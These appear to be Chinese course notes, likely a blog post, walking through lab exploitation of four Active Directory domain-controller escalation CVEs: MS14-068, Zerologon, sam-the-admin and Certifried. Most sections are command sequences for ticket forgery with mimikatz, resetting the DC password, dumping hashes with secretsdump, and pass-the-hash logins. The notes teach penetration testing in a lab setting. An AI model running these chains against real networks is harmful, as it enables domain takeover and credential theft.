文章目录
- 权限提升------第一百四十三天
 - 
- Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
 - 
- 前置知识
 - [WIN-AD域控提权 - CVE_2014_6324](#WIN-AD域控提权 - CVE_2014_6324)
 - 
- [1. 获取域用户SID值](#1. 获取域用户SID值)
 - [2. 从域控获取时间,从而得到域控主机名](#2. 从域控获取时间,从而得到域控主机名)
 - [3. ping该主机名,获取域控IP](#3. ping该主机名,获取域控IP)
 - [4. 获取当前域用户的一些基本信息](#4. 获取当前域用户的一些基本信息)
 - [5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书](#5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书)
 - [6. mimikatz导入伪造的kerberos协议认证证书](#6. mimikatz导入伪造的kerberos协议认证证书)
 - [7. 尝试链接域控C盘](#7. 尝试链接域控C盘)
 - [8. 使用psexec获取域控cmd权限](#8. 使用psexec获取域控cmd权限)
 
 - [WIN-AD域控提权 - CVE_2020_1472](#WIN-AD域控提权 - CVE_2020_1472)
 - 
- [1. 漏洞检测](#1. 漏洞检测)
 - [2. 利用漏洞重置域控为空密码](#2. 利用漏洞重置域控为空密码)
 - [3. 连接域控导出密码hash](#3. 连接域控导出密码hash)
 - [4. 利用WMI连接域控](#4. 利用WMI连接域控)
 
 - [WIN-AD域控提权 - CVE_2021_42287](#WIN-AD域控提权 - CVE_2021_42287)
 - [WIN-AD域控提权 - CVE_2022_26923](#WIN-AD域控提权 - CVE_2022_26923)
 - 
- [1. 获取CA结构名和计算机名](#1. 获取CA结构名和计算机名)
 - [2. 利用Certipy工具申请证书](#2. 利用Certipy工具申请证书)
 - [3. 利用Certipy工具检测证书](#3. 利用Certipy工具检测证书)
 - [4. 利用bloodyAD工具添加用户](#4. 利用bloodyAD工具添加用户)
 - [5. 利用bloodyAD工具设置属性](#5. 利用bloodyAD工具设置属性)
 - [6. 利用Certipy工具申请证书](#6. 利用Certipy工具申请证书)
 - [7. 利用Certipy工具检测证书](#7. 利用Certipy工具检测证书)
 - [8. 利用Impacket工具获取密码hash](#8. 利用Impacket工具获取密码hash)
 - [9. 通过获取的hash登录域控](#9. 通过获取的hash登录域控)
 
 
 
 
权限提升------第一百四十三天
Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
前置知识
所处环境
- 
本节课是权限提升的最后一讲,我们所处的位置是:

 - 
然后本节课重回Windows提权,不过这里是关于内网的提权知识,所以会讲得比较粗略一些
 - 
所以我觉得这节课搞不懂没关系,我也搞不太懂,只能说学了内网之后再回来好好看看吧
 
实战场景
- 通过技术手段拿下内网域环境下某一台服务器权限或某主机上的域用户账号密码后,
 - 与AD域控网络通讯正常的情况下,可直接使用域控提权CVE漏洞进行域控权限提升。
 
什么是内网域?
- 指的是一个组织或企业内部构建的、基于域(Domain)架构的私有网络系统。这个环境的核心是Windows Server 的 Active Directory(AD)域服务**,用于集中管理用户、计算机、权限、策略等资源。
 - 简单来说,就是一个公司或组织内部,用 Windows 域控制器(AD)统一管理所有电脑和用户的网络系统。
 
如何判断目标是否加入域环境?
图形化操作

命令行操作
- 运行 
net time /domain该命令后,一般会有如下三种情况: 
            
            
              shell
              
              
            
          
          1.存在域,但当前用户不是域用户,提示说明权限不够
  C:\Windows>net time /domain
  发生系统错误 5 
  拒绝访问.
2.存在域,并且当前用户是域用户
  C:\Windows\Temp>net time /domain
  \\OWA2010SP3.0day.org 的当前时间是 2020/1/25 16:12:49
  令成功完成。
3.当前网络环境为工作组,不存在域
  C:\Users\Administrator>net time /domain
  找不到域 WORKGROUP 的域控制器。
        
域环境搭建
- 
这里我们简单搭建一个域环境,然后演示就直接以域成员权限开始:

 - 
这里主要是关于通过域成员权限拿到域控权限的几个CVE漏洞的利用,更多的知识会在内网部分讲到
 
WIN-AD域控提权 - CVE_2014_6324
- 项目地址 :
 - 提权条件:需要域用户账号密码
 - 漏洞描述:
 
1. 获取域用户SID值
            
            
              shell
              
              
            
          
          whoami /user
        
2. 从域控获取时间,从而得到域控主机名
            
            
              shell
              
              
            
          
          net time /domain
        
3. ping该主机名,获取域控IP
            
            
              shell
              
              
            
          
          ping DC.test.local
        
4. 获取当前域用户的一些基本信息
            
            
              shell
              
              
            
          
          net config workstation
        
5. 利用ms14-068.exe提权工具生成伪造 kerberos 协议认证证书
            
            
              shell
              
              
            
          
          ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
ms14-068.exe -u john@test.local -p Admin123 -s S-1-5-21-2231436360-2128388746-3884401522-1106 -d 192.168.0.148
        
- 他会生成这样一个文件出来
 
6. mimikatz导入伪造的kerberos协议认证证书
- 运行mimikatz程序,先查看当前本地票据
 
            
            
              shell
              
              
            
          
          kerberos::list
        
- 然后清理掉这些缓存信息:
 
            
            
              shell
              
              
            
          
          kerberos::purge
        
- 接着导入我们之前生成的kerberos协议认证证书:
 
            
            
              shell
              
              
            
          
          kerberos::ptc "TGT_john@test.local.ccache"
        
7. 尝试链接域控C盘
            
            
              shell
              
              
            
          
          dir \\DC.test.local\C$
        
8. 使用psexec获取域控cmd权限
            
            
              shell
              
              
            
          
          PsExec.exe \\DC.test.local cmd
        
WIN-AD域控提权 - CVE_2020_1472
- 项目地址 :
 - 漏洞描述:CVE-2020-1472是继MS17010之后好用的NetLogon特权域控提权漏洞,该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为Windows。
 - 影响版本 :
Windows Server 2008R2 - Windows Server 2019 - 利用条件:攻击者能访问到目标域控井且知道域控计算机名
 
1. 漏洞检测
- 在已知域控主机名之后,下载项目中的PoC,用python运行:
 
            
            
              shell
              
              
            
          
          python zerologon_tester.py <域控主机名> <域控IP>
        
2. 利用漏洞重置域控为空密码
- 检测到漏洞可能存在之后,我们直接用EXP脚本去尝试利用:
 
            
            
              shell
              
              
            
          
          python cve-2020-1472-exploit.py <域控主机名> <域控IP>
        
3. 连接域控导出密码hash
- 然后我们用Impacket项目中的
secretsdump.py文件去尝试导出域控存储的密码hash值: 
            
            
              shell
              
              
            
          
          python secretsdump.py <域环境>/<域控主机名>\$@<域控IP> -no-pass
        
- 这里失败了,可能是我这台机器打过补丁,不允许以空哈希值登录了,如果成功它会导出所有用户的hash值,类似这样:

 
4. 利用WMI连接域控
- 当我们获取到管理员的hash值之后,就可以通过impacket下的
wmiexec.py脚本去尝试登录: 
            
            
              shell
              
              
            
          
          python wmiexec.py <域>/administrator@<域控IP> -hashes <域控密码hash>
        
- 需要注意的是,拿到域控权限之后需要恢复域控的hash,否则之后的通信可能会出现问题 :权限提升-Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞_权限提升ad域-CSDN博客
 
WIN-AD域控提权 - CVE_2021_42287
- 项目地址 :https://github.com/WazeHell/sam-the-admin
 - 利用条件:需要域内主机用户账号密码
 - 影响版本 :
Windows Server 2008 - Windows Server 2022 - 知道域内某个主机用户的账号密码后,直接运行上面的python脚本即可尝试提权:
 
            
            
              shell
              
              
            
          
          python sam_the_admin.py <域>/'<域成员账号>:<域成员密码>' -dc-ip <域控IP> -shell
        
- 在最后一步失败了,我真是没招了,也没学过内网,搞不懂是哪里出现了问题,正常结果就是直接拿到Shell了:

 
WIN-AD域控提权 - CVE_2022_26923
- 项目地址 :
 - 利用条件 :
- 一个域内普通账号
 - 域内存在证书服务器
 
 - 影响版本 :
Windows Server 2008 - Windows Server 2022 - 这里因为我的域环境没有证书服务器,所以就用小迪演示的来讲了:
 
            
            
              shell
              
              
            
          
          # Kali添加访问域内信息 /etc/hosts
192.168.3.111 xiaodi.local
192.168.3.111 xiaodi-DC-CA
192.168.3.111 DC.xiaodi.local
# 域内信息
192.168.3.111
test Pass123  # 普通域用户账号密码
xiaodi-DC-CA  # ca名
DC.xiaodi.local  # 域控名
        1. 获取CA结构名和计算机名
            
            
              shell
              
              
            
          
          certutil -config - -ping
        
2. 利用Certipy工具申请证书
            
            
              shell
              
              
            
          
          certipy req 'xiaodi.local/test:Pass123@DC.xiaodi.local' -ca xiaodi-DC-CA -template User -debug
        
3. 利用Certipy工具检测证书
            
            
              shell
              
              
            
          
          certipy auth -pfx test.pfx
        
4. 利用bloodyAD工具添加用户
            
            
              shell
              
              
            
          
          python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 addComputer pwnmachine 'CVEPassword1234*'
        
5. 利用bloodyAD工具设置属性
            
            
              shell
              
              
            
          
          python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.3.111 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["DC.xiaodi.local"]'
        
6. 利用Certipy工具申请证书
            
            
              shell
              
              
            
          
          certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.3.111' -template Machine -dc-ip 192.168.3.111 -ca xiaodi-DC-CA -debug
        
7. 利用Certipy工具检测证书
            
            
              shell
              
              
            
          
          certipy auth -pfx ./dc.pfx -dc-ip 192.168.3.111
        
8. 利用Impacket工具获取密码hash
            
            
              shell
              
              
            
          
          python secretsdump.py 'xiaodi.local/dc$@DC.xiaodi.local' -hashes :b6046c1026699b59301ff66341838df4
        
9. 通过获取的hash登录域控
            
            
              shell
              
              
            
          
          python wmiexec.py xiaodi.local/administrator@192.168.3.111 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd
        